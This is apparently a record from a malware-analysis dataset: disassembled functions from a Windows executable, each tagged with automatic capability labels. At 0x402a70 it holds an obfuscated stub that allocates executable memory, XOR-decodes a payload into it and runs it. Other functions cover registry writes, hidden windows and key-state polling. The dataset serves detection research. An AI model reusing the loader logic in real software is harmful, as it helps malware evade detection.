joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402a70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x402a7f
pop dword [ebp - 0x34]
mov eax, 0xe16e7cc3
sub eax, 0xe12e5244
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xd6d71d6f
sub dword [ebp - 0x44], 0x8884d824
mov dword [ebp - 0x40], 0xd1fe7c4a
add dword [ebp - 0x40], 0x6034cffb
mov dword [ebp - 0x3c], 0x6ae3874c
add dword [ebp - 0x3c], 0xe168bce2
mov dword [ebp - 0x38], 0x9aec8010
add dword [ebp - 0x38], 0x65137ff0
lea eax, [ebp - 0x44]
push eax
mov eax, 0xe590bbd
add eax, 0xf1e834d3
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x7a3bdd19
sub dword [ebp - 0x44], 0x5c973c3
mov dword [ebp - 0x40], 0x4a53f39a
add dword [ebp - 0x40], 0xf7186ddb
mov dword [ebp - 0x3c], 0x45bdb564
sub dword [ebp - 0x3c], 0xe24e48f8
mov dword [ebp - 0x38], 0x23a05b
add dword [ebp - 0x38], 0xffdc5fa5
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3818e
push 0
call eax
mov ecx, 0x3d6e
xor ebx, ebx
add ebx, eax
mov esi, 0x64657719
add esi, 0x9bdc48e7
add esi, dword [ebp - 0x34]
mov edi, 0xbb470f9a
add edi, 0x5dbf890b
sub dword [ebp - 0x18], 0x6600c59f
mov edx, dword [esi]
sub dword [ebp - 4], 0xa68d25ef
xor edx, edi
add dword [ebp - 0xc], 0xb6f15534
mov dword [ebx], edx
sub dword [ebp - 0x1c], edx
add ebx, 0xd72edf9f
add ebx, 0x28d12065
add esi, 0x9eef0f44
sub esi, 0x9eef0f40
loop 0x402b98
add eax, 0xe88b
mov ebx, eax
add eax, 0xd36b73cd
sub eax, 0xd36b73c8
mov ecx, 0xca657351
add ecx, 0x35da8caf
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x40433e
Capabilities:
Check if file exists

Disassembly:
push 0x68
mov eax, 0x631774
call fcn.0040eb77
mov edi, dword [ebp + 8]
xor edx, edx
mov ebx, dword [ebp + 0xc]
xor eax, eax
mov esi, dword [ebp + 0x10]
push 7
pop ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], ecx
mov word [ebp - 0x28], ax
mov dword [ebp - 4], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], ecx
mov word [ebp - 0x40], ax
lea ecx, [ebp - 0x71]
mov byte [ebp - 4], 1
call fcn.004037b1
push esi
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.0040407c
cmp dword [ebp - 0x30], 0
jbe 0x40446d
lea eax, [ebp - 0x70]
push eax
call fcn.0040471e
mov ecx, eax
call fcn.004ae19d
push eax
lea ecx, [ebp - 0x28]
call fcn.0040377a
lea ecx, [ebp - 0x70]
call fcn.0040199e
push 0x6b4c58
lea ecx, [ebp - 0x28]
call fcn.00401918
push 0x6b4c90
lea ecx, [ebp - 0x28]
call fcn.00401918
push 8
pop esi
cmp dword [ebp - 0x2c], esi
lea eax, [ebp - 0x40]
push 0x2f
cmovae eax, dword [ebp - 0x40]
push 0xffffffffffffffff
push dword [ebp - 0x30]
push eax
call fcn.00404823
add esp, 0x10
lea ecx, [ebp - 0x72]
inc eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x58]
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.004047ba
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x28]
call fcn.0040479d
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 2
call fcn.0040199e
cmp dword [ebp - 0x14], esi
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x404458
cmp dword [ebp - 0x14], esi
lea ecx, [ebp - 0x28]
push 0
cmovae ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], esi
push 0
cmovae eax, dword [ebp - 0x40]
push ecx
push eax
call fcn.004046a8
mov ecx, eax
call fcn.004c1f70
cmp dword [ebp - 0x14], esi
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x71]
cmovae eax, dword [ebp - 0x28]
push eax
push ebx
push edi
call fcn.004adb25
lea ecx, [ebp - 0x71]
call fcn.004015c0
lea ecx, [ebp - 0x40]
call fcn.0040199e
lea ecx, [ebp - 0x28]
call fcn.0040199e
call fcn.0040eb21
ret 0xc
Function at 0x4051f5
Capabilities:
Accept command line arguments

Disassembly:
push 0x1b0
mov eax, 0x631a94
call fcn.0040eb77
mov ebx, ecx
mov dword [ebp - 0x1bc], ebx
mov edx, dword [ebp + 0x20]
mov eax, dword [ebp + 0x24]
xor ecx, ecx
push ecx
push ecx
push eax
push edx
lea eax, [ebp - 0x58]
mov dword [ebp - 4], ecx
push str._bid_:_d__type_:_d__fid_:_d__lineMode_:_d
push eax
call fcn.004ac8d2
add esp, 0x18
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 1
call fcn.004b6ca5
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [ebp - 0x1b4]
call fcn.004b72c5
push str.10681241
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x1b4]
call fcn.004b6d29
push 8
pop edi
mov byte [ebp - 4], 3
cmp dword [eax + 0x14], edi
jb 0x405276
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.004b76ac
pop ecx
pop ecx
mov byte [ebp - 4], 4
cmp dword [eax + 0x14], edi
jb 0x40528d
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x1b4]
call fcn.004b7350
lea ecx, [ebp - 0x70]
call fcn.0040199e
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 2
call fcn.0040199e
mov esi, str.91474361
lea eax, [ebp - 0x40]
push esi
push eax
lea ecx, [ebp - 0x1b4]
call fcn.004b6d29
mov byte [ebp - 4], 5
lea edx, [ebp - 0x58]
cmp dword [ebp - 0x44], edi
lea ecx, [ebp - 0x40]
lea eax, [ebp + 8]
cmovae edx, dword [ebp - 0x58]
cmp dword [ebp - 0x2c], edi
push edx
cmovae ecx, dword [ebp - 0x40]
cmp dword [ebp + 0x1c], edi
push str.41201514
cmovae eax, dword [ebp + 8]
push ecx
push esi
push eax
push str.84101210
lea eax, [ebp - 0x28]
push 0x6b4fb0
push eax
call fcn.004ac8d2
add esp, 0x20
mov byte [ebp - 4], 6
call fcn.004b8c02
test al, al
je 0x4053e3
mov eax, dword [0x6dadd0]
test eax, eax
je 0x4053e3
cmp dword [eax + 4], 4
jl 0x4053e3
lea eax, [ebx + 4]
mov dword [ebp - 0x1ac], eax
cmp dword [eax + 0x14], edi
jb 0x405344
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x14], edi
lea eax, [ebp - 0x28]
push str.1200
cmovae eax, dword [ebp - 0x28]
mov dword [ebp - 0x1b8], eax
call fcn.004b8a14
pop ecx
push 0
push 0
push 0x6b4be8
push 0x43
push str.CTransferCMD::StartRealProcessAndWait
push 4
lea ecx, [ebp - 0x1a8]
mov esi, eax
call fcn.00407560
mov ebx, eax
lea edi, [ebx + 0x30]
mov byte [ebp - 4], 7
push esi
push edi
call fcn.00405985
push 0x6b4f40
push edi
call fcn.00405985
push dword [ebp - 0x1b8]
push edi
call fcn.00405985
push 0x6b4f50
push edi
call fcn.00405985
push dword [ebp - 0x1ac]
push edi
call fcn.00405985
mov ecx, dword [0x6dadd0]
add esp, 0x28
push ebx
call fcn.00407644
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 6
call fcn.004059a2
mov ebx, dword [ebp - 0x1bc]
push 8
pop edi
lea ecx, [ebx + 4]
cmp dword [ecx + 0x14], edi
jb 0x4053ed
mov ecx, dword [ecx]
cmp dword [ebp - 0x14], edi
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push 0xffffffffffffffff
push 1
push ecx
push eax
call fcn.004b777e
add esp, 0x14
lea ecx, [ebp - 0x28]
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
call fcn.0040199e
lea ecx, [ebp - 0x40]
call fcn.0040199e
lea ecx, [ebp - 0x1b4]
call fcn.004b6cf8
lea ecx, [ebp - 0x58]
call fcn.0040199e
lea ecx, [ebp + 8]
call fcn.0040199e
mov al, bl
call fcn.0040eb21
ret 0x20
Function at 0x407d55
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x6cb06c]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x214]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407dcc
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x407dcc
push 4
lea eax, [ebp - 0x210]
mov dword [ebp - 0x210], 1
push eax
push 4
push 0
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e215
leave
ret

Function at 0x408706
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
mov esi, ecx
mov ecx, dword [esi + 0x2c]
call fcn.00420570
test al, al
je 0x40874a
mov eax, dword [ebp + 0x1c]
or ecx, 0xffffffff
mov byte [esi + 0x39], 1
push 0
mov eax, dword [eax]
mov word [eax], cx
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0xf060
push 0x112
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_PostMessageW]
pop esi
pop ebp
ret 0x18
Function at 0x4138c0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
cwde
test eax, eax
jge 0x4138e1
mov ecx, dword [ebp - 4]
or ecx, 8
mov dword [ebp - 4], ecx
push 1
call dword [sym.imp.USER32.dll_GetKeyState]
movsx edx, ax
test edx, edx
jge 0x4138f9
mov eax, dword [ebp - 4]
or eax, 1
mov dword [ebp - 4], eax
push 2
call dword [sym.imp.USER32.dll_GetKeyState]
movsx ecx, ax
test ecx, ecx
jge 0x413911
mov edx, dword [ebp - 4]
or edx, 2
mov dword [ebp - 4], edx
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
cwde
test eax, eax
jge 0x413927
mov ecx, dword [ebp - 4]
or ecx, 4
mov dword [ebp - 4], ecx
push 0x12
call dword [sym.imp.USER32.dll_GetKeyState]
movsx edx, ax
test edx, edx
jge 0x41393f
mov eax, dword [ebp - 4]
or eax, 0x20
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x41ad20
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 4], ecx
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
cmp ecx, dword [eax + 0xa8]
je 0x41ad5e
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
cmp eax, dword [edx + 0x108]
je 0x41ad5e
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xa8]
push edx
call dword [sym.imp.USER32.dll_SetFocus]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax + 0x108]
jne 0x41ad71
jmp 0x41aee5
mov edx, dword [ebp - 4]
cmp dword [edx + 0x108], 0
je 0x41ae03
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x28], 0x17
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x24], ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x20], eax
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x108]
mov edx, dword [ebp - 4]
mov eax, dword [ecx]
mov ecx, dword [edx + 0x108]
mov edx, dword [eax + 0x14c]
call edx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x41adf6
push 0
push 0
push 0
push str.killfocus
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x108]
push edx
mov ecx, dword [ebp - 4]
call fcn.0041a780
mov eax, dword [ebp - 4]
mov dword [eax + 0x108], 0
cmp dword [ebp + 8], 0
jne 0x41ae0e
jmp 0x41aee5
cmp dword [ebp + 8], 0
je 0x41aee5
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov ecx, dword [ebp + 8]
mov eax, dword [edx + 0x1c]
call eax
cmp eax, dword [ebp - 4]
jne 0x41aee5
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov ecx, dword [ebp + 8]
mov eax, dword [edx + 0x108]
call eax
movzx ecx, al
test ecx, ecx
je 0x41aee5
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [ebp + 8]
mov edx, dword [eax + 0x114]
call edx
movzx eax, al
test eax, eax
je 0x41aee5
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov dword [ecx + 0x108], edx
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x48], 0x18
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x44], ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x40], eax
lea edx, [ebp - 0x48]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x108]
mov edx, dword [ebp - 4]
mov eax, dword [ecx]
mov ecx, dword [edx + 0x108]
mov edx, dword [eax + 0x14c]
call edx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x41aee5
push 0
push 0
push 0
push str.setfocus
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x108]
push edx
mov ecx, dword [ebp - 4]
call fcn.0041a780
mov esp, ebp
pop ebp
ret 8
Function at 0x41ca20
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x6cb06c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x214], ecx
mov eax, dword [ebp + 8]
shr eax, 0x10
and eax, 0xffff
movzx ecx, ax
test ecx, ecx
je 0x41caa1
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x3c
jne 0x41ca7a
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x214]
add ecx, 0x28
call fcn.00461590
movzx edx, al
test edx, edx
jne 0x41ca78
xor eax, eax
jmp 0x41cb79
jmp 0x41ca9c
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x214]
add ecx, 0x28
call fcn.00461610
movzx ecx, al
test ecx, ecx
jne 0x41ca9c
xor eax, eax
jmp 0x41cb79
jmp 0x41cb48
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004131e0
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x41cacb
xor eax, eax
jmp 0x41cb79
mov ecx, dword [ebp - 0x218]
push ecx
call fcn.004131e0
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
jne 0x41cafe
mov edx, dword [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
xor eax, eax
jmp 0x41cb79
push 0
mov eax, dword [ebp - 0x218]
push eax
call fcn.004131e0
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
mov ecx, dword [ebp - 0x214]
add ecx, 0x28
call fcn.00461cc0
movzx edx, al
test edx, edx
jne 0x41cb3b
xor eax, eax
jmp 0x41cb79
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
lea ecx, [ebp - 0x210]
push ecx
mov ecx, dword [ebp - 0x214]
add ecx, 0x28
call fcn.00461410
sub esp, 0x20c
mov ecx, 0x83
mov esi, eax
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x214]
call fcn.0041c4e0
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e215
mov esp, ebp
pop ebp
ret 8

Function at 0x421670
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x6cb06c]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x121], 0
mov dword [ebp - 0x120], 0x11c
push 0x118
push 0
lea eax, [ebp - 0x11c]
push eax
call fcn.004edc80
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea edx, [ebp - 0x114]
push edx
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x11c]
push ecx
call fcn.004215b0
add esp, 0xc
mov edx, dword [ebp - 0x11c]
mov dword [ebp - 0x128], edx
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0x130], ecx
cmp dword [ebp - 0x128], 0xa
jb 0x42170a
mov byte [ebp - 0x121], 1
jmp 0x42172c
cmp dword [ebp - 0x128], 6
jne 0x42172c
movzx edx, byte [ebp - 6]
cmp edx, 1
jne 0x42172c
cmp dword [ebp - 0x12c], 3
jb 0x42172c
mov byte [ebp - 0x121], 1
mov al, byte [ebp - 0x121]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e215
mov esp, ebp
pop ebp
ret
Function at 0x4248e0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x6cb06c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
je 0x424914
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x424914
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edx, dword [ebp + 0xc]
movzx eax, word [edx]
test eax, eax
jne 0x424923
jmp 0x424a8c
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x41c], ecx
mov edx, dword [ebp - 0x41c]
mov dword [ebp - 0x418], edx
mov eax, dword [ebp - 0x418]
movzx ecx, word [eax]
test ecx, ecx
je 0x42497e
mov edx, dword [ebp - 0x418]
movzx eax, word [edx]
cmp eax, 0x2f
je 0x424961
mov ecx, dword [ebp - 0x418]
movzx edx, word [ecx]
cmp edx, 0x5c
jne 0x42496d
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x41c], eax
mov ecx, dword [ebp - 0x418]
add ecx, 2
mov dword [ebp - 0x418], ecx
jmp 0x424938
mov edx, dword [ebp - 0x41c]
mov dword [ebp - 0x424], edx
mov eax, dword [ebp - 0x41c]
cmp eax, dword [ebp + 0xc]
je 0x424a0e
mov ecx, dword [ebp - 0x41c]
sub ecx, dword [ebp + 0xc]
sar ecx, 1
shl ecx, 1
push ecx
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x414]
push eax
call fcn.004ede50
add esp, 0xc
mov ecx, dword [ebp - 0x41c]
sub ecx, dword [ebp + 0xc]
sar ecx, 1
shl ecx, 1
mov dword [ebp - 0x420], ecx
cmp dword [ebp - 0x420], 0x208
jae 0x4249d7
jmp 0x4249dc
call fcn.0040eeb9
xor edx, edx
mov eax, dword [ebp - 0x420]
mov word [ebp + eax - 0x414], dx
lea ecx, [ebp - 0x414]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004248e0
add esp, 8
mov eax, dword [ebp - 0x424]
add eax, 2
mov dword [ebp - 0x424], eax
mov ecx, 2
imul edx, ecx, 0
mov dword [ebp - 0x428], edx
cmp dword [ebp - 0x428], 0x208
jae 0x424a2a
jmp 0x424a2f
call fcn.0040eeb9
xor eax, eax
mov ecx, dword [ebp - 0x428]
mov word [ebp + ecx - 0x20c], ax
cmp dword [ebp + 8], 0
je 0x424a58
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x20c]
push eax
call fcn.004ffebf
add esp, 8
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x20c]
push edx
call fcn.004ffe8e
add esp, 8
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x424a8c
push 0
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e215
mov esp, ebp
pop ebp
ret
Function at 0x4257d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0
jne 0x4257ea
mov ecx, dword [ebp - 0xc]
cmp dword [ecx + 4], 0xffffffff
je 0x4257f4
mov eax, 0x1000000
jmp 0x4258de
mov edx, dword [ebp - 0xc]
add edx, 0x244
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, dword [ebp - 0xc]
add eax, 0x244
push eax
call fcn.004ffee1
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dx, word [ecx + eax*2 + 0x242]
mov word [ebp - 8], dx
movzx eax, word [ebp - 8]
cmp eax, 0x5c
je 0x425852
movzx ecx, word [ebp - 8]
cmp ecx, 0x2f
je 0x425852
push 0x6b4c90
mov edx, dword [ebp - 0xc]
add edx, 0x244
push edx
call fcn.004ffe8e
add esp, 8
cmp dword [ebp + 0x10], 1
jne 0x425896
push 1
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x42587a
mov dword [ebp - 0x10], 1
jmp 0x425881
mov dword [ebp - 0x10], 0
mov cl, byte [ebp - 0x10]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
test edx, edx
jne 0x425896
mov eax, 0x2000000
jmp 0x4258de
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0042a9a0
add esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4258bc
mov eax, dword [ebp - 0x1c]
jmp 0x4258de
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0042b690
add esp, 4
mov edx, dword [ebp - 0xc]
mov dword [edx], eax
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0
jne 0x4258dc
mov eax, 0x200
jmp 0x4258de
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x426230
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov eax, 4
imul ecx, eax, 0
movsx edx, byte [ebp + 0xc]
mov eax, dword [ebp + 8]
xor edx, dword [eax + ecx]
and edx, 0xff
mov ecx, 4
imul eax, ecx, 0
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + eax]
shr eax, 8
xor eax, dword [edx*4 + 0x63f9a8]
mov ecx, 4
imul edx, ecx, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + edx], eax
mov edx, 4
shl edx, 0
mov eax, 4
imul ecx, eax, 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax + ecx]
and ecx, 0xff
mov eax, dword [ebp + 8]
add ecx, dword [eax + edx]
mov edx, 4
shl edx, 0
mov eax, dword [ebp + 8]
mov dword [eax + edx], ecx
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + 8]
imul eax, dword [edx + ecx], 0x8088405
add eax, 1
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + 8]
mov dword [edx + ecx], eax
mov eax, 4
shl eax, 1
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + 8]
mov ecx, dword [edx + ecx]
shr ecx, 0x18
mov edx, dword [ebp + 8]
xor ecx, dword [edx + eax]
and ecx, 0xff
mov eax, 4
shl eax, 1
mov edx, dword [ebp + 8]
mov eax, dword [edx + eax]
shr eax, 8
xor eax, dword [ecx*4 + 0x63f9a8]
mov ecx, 4
shl ecx, 1
mov edx, dword [ebp + 8]
mov dword [edx + ecx], eax
pop ebp
ret

Function at 0x42ab30
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
imul eax, dword [ebp + 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0x14]
movzx edx, byte [ecx]
test edx, edx
je 0x42ab7f
push 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42ab75
mov edx, dword [ebp + 0x14]
mov byte [edx + 8], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
div dword [ebp + 0xc]
jmp 0x42abd9
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0x1c]
add ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x14]
cmp ecx, dword [edx + 0x18]
jbe 0x42ab9f
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x14]
mov edx, dword [eax + 0x18]
sub edx, dword [ecx + 0x1c]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx + 0x14]
mov eax, dword [ebp + 0x14]
add edx, dword [eax + 0x1c]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.004ede50
add esp, 0xc
mov edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0x1c]
add ecx, dword [ebp - 8]
mov edx, dword [ebp + 0x14]
mov dword [edx + 0x1c], ecx
mov eax, dword [ebp - 8]
xor edx, edx
div dword [ebp + 0xc]
mov esp, ebp
pop ebp
ret